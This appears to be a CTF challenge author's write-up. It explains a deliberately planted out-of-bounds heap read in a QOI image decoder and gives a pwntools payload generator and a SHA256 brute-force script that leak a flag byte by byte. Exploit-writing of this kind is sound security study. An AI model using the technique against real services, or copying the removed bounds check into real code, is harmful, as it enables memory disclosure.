This challenge was inspired by the series of clone-and-pwn challenges I saw in Real World CTF. It's quite a cool category where they just spin up a random github repository and ask you to find bugs in it. It feels quite "realistic" compared to the usual CTF challenges and gives a different kind of satisfaction when solving.
The challenge presents you with some source code and a link to a version of QOI.
If you inspect the version I linked, you'll notice that its most recent commit is "secoority". Sounds pretty stupid and the commit actually introduces a security bug.
Specifically, the qoi_decode
function is now able to go read OOB.
void *qoi_decode(const void *data, int size, qoi_desc *desc, int channels) {
...
desc->width = qoi_read_32(bytes, &p);
desc->height = qoi_read_32(bytes, &p);
desc->channels = bytes[p++];
...
px_len = desc->width * desc->height * channels;
pixels = (unsigned char *) QOI_MALLOC(px_len);
...
chunks_len = size - (int)sizeof(qoi_padding);
for (px_pos = 0; px_pos < px_len; px_pos += channels) {
if (run > 0) {
run--;
}
else { // Used to be `else if (p < chunks_len)`
int b1 = bytes[p++]; // p can be large and go out of bounds
// just control the value of px_len
...
}
if (channels == 4) {
*(qoi_rgba_t*)(pixels + px_pos) = px;
}
else {
pixels[px_pos + 0] = px.rgba.r;
pixels[px_pos + 1] = px.rgba.g;
pixels[px_pos + 2] = px.rgba.b;
}
}
return pixels;
}
If we go back to the challenge code, we can see that main does the following general steps (read the comments)
int main(){
setvbuf(stdout, NULL, _IONBF, 0);
qoi_desc desc;
print_instructions();
// [1] Read QOI image from user
char *image_data = read_image();
// [2] Read flag and "face hash" into heap
load_credentials();
// [3] Parse QOI image into pixel data using `qoi_decode`
char *pixels = parse_image(image_data, &desc);
unsigned int size = desc.width * desc.height * desc.channels;
// [4] If pixel data SHA256 == "face hash", give flag
if (!verify_credentials(pixels, size)) {
printf("Welcome back, MAJ Ho\nHere is your secret: %s\n", creds->secret);
}
else {
printf("Invalid User: ");
for(int i = 0; i < 32; i++){
printf("%02x", creds->user_hash[i]);
}
puts("");
}
free(pixels);
}
Important note here is that we are parsing user data using qoi_decode
, the function with the OOB read! If qoi_decode
reads out of bound in the heap, what other data will it read into? "Fortunately", the OOB read will actually oob into the rest of the heap, which "coincidentally" has the flag data. Therefore, if we trigger the OOB read, the flag data will be interpreted as bytes of a qoi image and be decoded into pixel data.
Later on that pixel data is hashed with SHA256 and the user is told the SHA256 hash. The idea is then to perform an OOB read of 1 pixel first, followed by 2 pixels, 3 pixels, etc. Each time you OOB by one pixel, you can bruteforce the 256 possible bytes that could have been included in the QOI decoding routine to figure out what byte was leaked.
With these primitives we can then leak the flag!
With this script you can leak out one byte at a time.
def generate_payload():
"""
qoi_header {
char magic[4]; // magic bytes "qoif"
uint32_t width; // image width in pixels (BE)
uint32_t height; // image height in pixels (BE)
uint8_t channels; // 3 = RGB, 4 = RGBA
uint8_t colorspace; // 0 = sRGB with linear alpha
// 1 = all channels linear
};
"""
width = 1
height = 1+30+int(sys.argv[-1])
channels = 3
data = ""
data+= "qoif"
data+= p32(width)
data+= p32(height)
data+= p8(channels)
data+= p8(0)
"""
data bytes
"""
# QOI_OP_RGB
data+= p8(0b11111110)
data+= p8(0xaa)+p8(0xbb)+p8(0xcc)
# END MARKER
data+= p8(0)*7+p8(1)
return data
def exploit(r):
context.endian = 'big'
"""
with open("qoi_test_images/qoi_logo.qoi") as f:
data = f.read()
sz = len(data)
"""
data = generate_payload()
sz = len(data)
r.sendlineafter("QOI image size: ", str(sz))
r.sendafter("QOI image data: \n", data)
print(r.recvline())
r.close()
return
Then you can use this follow-up script to determine from the resulting SHA256 hash to figure out the byte that has been leaked.
import sys
import hashlib
a = "aabbcc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001feff000000000000000000000000000000000000000000"
a += 'fefe01' # C
a += 'fdfdff' # T
a += 'fbfcff' # F
a += 'fafa00' # S
a += 'f8f901' # G
a += 'f9f902' # {
a += 'f7f702' # B
a += 'f8f601' # u
a += 'f9f600' # y
a += 'f8f701' # _
a += 'f6f800' # M
a += 'f6f7ff' # e
a += 'f5f800' # _
a += 'f4f6ff' # Q
a += 'f4f700' # o
a += 'f4f7ff' # i
a += 'f3f800' # _
a += 'f1f600' # B
c = sys.argv[1]
a = a.decode("hex")
for i in range(-2, 2):
for j in range(-2, 2):
for k in range(-2, 2):
s = a
x = a[-3:]
s += chr((ord(x[0])+i+0x100)%256)
s += chr((ord(x[1])+j+0x100)%256)
s += chr((ord(x[2])+k+0x100)%256)
n = 0b01
n = n << 2
n+= i + 2
n = n << 2
n+= j + 2
n = n << 2
n+= k + 2
h = hashlib.sha256(s).hexdigest()
if h == c:
print(chr(n), s[-3:].encode("hex"), hashlib.sha256(s).hexdigest())
exit()
Little bit sad that there was only one solve. But I guess there weren't many attempts because the code looks kinda scary. I hope in future the "large" amount of code won't be seen as something daunting. I think such challenges can present quite an interesting type of challenge because you can get some of the "realistic" pwning satisfaction by pwning a codebase larger than your usual CTF heap menu style.
CTFSG{Buy_Me_Qoi_Bubble_Tea}